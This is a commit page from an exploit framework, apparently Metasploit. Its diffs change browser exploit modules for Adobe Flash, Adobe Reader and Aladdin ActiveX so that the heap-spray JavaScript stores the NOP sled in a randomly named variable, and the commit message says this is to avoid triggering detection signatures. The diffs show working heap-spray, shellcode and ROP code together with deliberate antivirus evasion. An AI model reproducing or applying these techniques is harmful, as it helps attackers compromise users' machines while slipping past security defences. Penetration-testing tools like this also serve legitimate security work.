Skip to content

Commit 6708696

Browse files
committed
Avoid calling unescape on nops directly
Using an intermediate variable will avoid triggering signatures
1 parent 8ce10ac commit 6708696

File tree

73 files changed

+298
-102
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

73 files changed

+298
-102
lines changed

modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -210,11 +210,13 @@ def on_request_uri(cli, request)
210210

211211
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
212212
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
213+
randnop = rand_text_alpha(rand(100) + 1)
213214

214215
js_pivot = <<-JS
215216
var heap_obj = new heapLib.ie(0x20000);
216217
var code = unescape("#{js_code}");
217-
var nops = unescape("#{js_nops}");
218+
var #{randnop} = "#{js_nops}";
219+
var nops = unescape(#{randnop});
218220
219221
while (nops.length < 0x80000) nops += nops;
220222
var offset = nops.substring(0, #{my_target['Offset']});

modules/exploits/windows/browser/adobe_flash_rtmp.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -140,11 +140,13 @@ def get_rop_chain(t)
140140
end
141141

142142
def get_easy_spray(t, js_code, js_nops)
143+
randnop = rand_text_alpha(rand(100) + 1)
143144

144145
spray = <<-JS
145146
var heap_obj = new heapLib.ie(0x20000);
146147
var code = unescape("#{js_code}");
147-
var nops = unescape("#{js_nops}");
148+
var #{randnop} = "#{js_nops}";
149+
var nops = unescape(#{randnop});
148150
149151
while (nops.length < 0x80000) nops += nops;
150152
@@ -168,11 +170,13 @@ def get_easy_spray(t, js_code, js_nops)
168170

169171

170172
def get_aligned_spray(t, js_rop, js_nops)
173+
randnop = rand_text_alpha(rand(100) + 1)
171174

172175
spray = <<-JS
173176
174177
var heap_obj = new heapLib.ie(0x20000);
175-
var nops = unescape("#{js_nops}");
178+
var #{randnop} = "#{js_nops}";
179+
var nops = unescape(#{randnop});
176180
var rop_chain = unescape("#{js_rop}");
177181
178182
while (nops.length < 0x80000) nops += nops;

modules/exploits/windows/browser/adobe_flash_sps.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,11 +116,13 @@ def on_request_uri(cli, request)
116116

117117
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
118118
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
119+
randnop = rand_text_alpha(rand(100) + 1)
119120

120121
js = <<-JS
121122
var heap_obj = new heapLib.ie(0x20000);
122123
var code = unescape("#{js_code}");
123-
var nops = unescape("#{js_nops}");
124+
var #{randnop} = "#{js_nops}";
125+
var nops = unescape(#{randnop});
124126
125127
while (nops.length < 0x80000) nops += nops;
126128
var offset = nops.substring(0, #{my_target['Offset']});

modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -210,6 +210,9 @@ def on_request_uri(cli, request)
210210
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
211211
end
212212

213+
randnop = rand_text_alpha(rand(100) + 1)
214+
js_nops = Rex::Text.to_unescape("\x0c"*4)
215+
213216
js = <<-JS
214217
function heap_spray(heaplib, nops, code, offset, max) {
215218
while (nops.length < 0x2000) nops += nops;
@@ -224,7 +227,8 @@ def on_request_uri(cli, request)
224227
}
225228
226229
var heap_obj = new heapLib.ie(0x20000);
227-
var nops = unescape("%u0c0c%u0c0c");
230+
var #{randnop} = "#{js_nops}";
231+
var nops = unescape(#{randnop});
228232
var code = unescape("#{shellcode}");
229233
heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
230234
var fake_pointers = unescape("#{pivot}");

modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,14 +88,16 @@ def on_request_uri(cli, request)
8888

8989
# Make some nops
9090
nops = Rex::Text.to_unescape(make_nops(4))
91+
randnop = rand_text_alpha(rand(100) + 1)
9192

9293
# Randomize variables
9394
rand1 = rand_text_alpha(rand(100) + 1)
9495
rand2 = rand_text_alpha(rand(100) + 1)
9596

9697
script = %Q|
9798
var #{rand1} = unescape("#{shellcode}");
98-
var #{rand2} = unescape("#{nops}");
99+
var #{randnop} = "#{nops}";
100+
var #{rand2} = unescape(#{randnop});
99101
while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
100102
#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
101103
memory = new Array();

modules/exploits/windows/browser/adobe_geticon.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -92,13 +92,15 @@ def on_request_uri(cli, request)
9292
rand10 = rand_text_alpha(rand(100) + 1)
9393
rand11 = rand_text_alpha(rand(100) + 1)
9494
rand12 = rand_text_alpha(rand(100) + 1)
95+
randnop = rand_text_alpha(rand(100) + 1)
9596

9697
script = %Q|
9798
var #{rand1} = unescape("#{shellcode}");
9899
var #{rand2} ="";
99-
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
100+
var #{randnop} = "#{nops}";
101+
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");
100102
#{rand4} = #{rand2} + #{rand1};
101-
#{rand5} = unescape("#{nops}");
103+
#{rand5} = unescape(#{randnop});
102104
#{rand6} = 20;
103105
#{rand7} = #{rand6}+#{rand4}.length
104106
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};

modules/exploits/windows/browser/adobe_jbig2decode.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,16 +86,18 @@ def on_request_uri(cli, request)
8686
rand14 = rand_text_alpha(rand(50) + 1)
8787
rand15 = rand_text_alpha(rand(50) + 1)
8888
rand16 = rand_text_alpha(rand(50) + 1)
89+
randnop = rand_text_alpha(rand(100) + 1)
8990

9091
script = %Q|
9192
var #{rand1} = "";
9293
var #{rand2} = "";
9394
var #{rand3} = unescape("#{shellcode}");
9495
var #{rand4} = "";
96+
var #{randnop} = "#{nops}";
9597
96-
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
98+
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
9799
#{rand6} = #{rand4} + #{rand3};
98-
#{rand7} = unescape("#{nops}");
100+
#{rand7} = unescape(#{randnop});
99101
#{rand8} = 20;
100102
#{rand9} = #{rand8}+#{rand6}.length
101103
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};

modules/exploits/windows/browser/adobe_media_newplayer.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,7 @@ def on_request_uri(cli, request)
107107
rand3 = rand_text_alpha(rand(100) + 1)
108108
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
109109
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
110+
randnop = rand_text_alpha(rand(100) + 1)
110111

111112
vtbuf = [target.ret].pack('V') * 4
112113
vtbuf << rand_text_alpha(len - vtbuf.length)
@@ -115,8 +116,9 @@ def on_request_uri(cli, request)
115116

116117
# The printd strings are 72 bytes (??)
117118
script = %Q|
119+
var #{randnop} = "#{nops}";
118120
var #{rand1} = unescape("#{shellcode}");
119-
var #{rand2} = unescape("#{nops}");
121+
var #{rand2} = unescape(#{randnop});
120122
var #{rand3} = unescape("#{retstring}");
121123
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
122124
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);

modules/exploits/windows/browser/adobe_utilprintf.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -73,13 +73,15 @@ def on_request_uri(cli, request)
7373
rand9 = rand_text_alpha(rand(100) + 1)
7474
rand10 = rand_text_alpha(rand(100) + 1)
7575
rand11 = rand_text_alpha(rand(100) + 1)
76+
randnop = rand_text_alpha(rand(100) + 1)
7677

7778
script = %Q|
7879
var #{rand1} = unescape("#{shellcode}");
80+
var #{randnop} = "#{nops}";
7981
var #{rand2} ="";
80-
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
82+
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});
8183
#{rand4} = #{rand2} + #{rand1};
82-
#{rand5} = unescape("#{nops}");
84+
#{rand5} = unescape("#{randnop}");
8385
#{rand6} = 20;
8486
#{rand7} = #{rand6}+#{rand4}.length
8587
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};

modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,13 +117,15 @@ def initialize(info={})
117117
def ie_heap_spray(p)
118118
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
119119
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
120+
randnop = rand_text_alpha(rand(100) + 1)
120121

121122
# Land the payload at 0x0c0c0c0c
122123

123124
js = %Q|
124125
var heap_obj = new heapLib.ie(0x20000);
125126
var code = unescape("#{js_code}");
126-
var nops = unescape("#{js_nops}");
127+
var #{randnop} = "#{js_nops}";
128+
var nops = unescape(#{randnop});
127129
while (nops.length < 0x80000) nops += nops;
128130
var offset = nops.substring(0, #{get_target['Offset']});
129131
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

0 commit comments

Comments
 (0)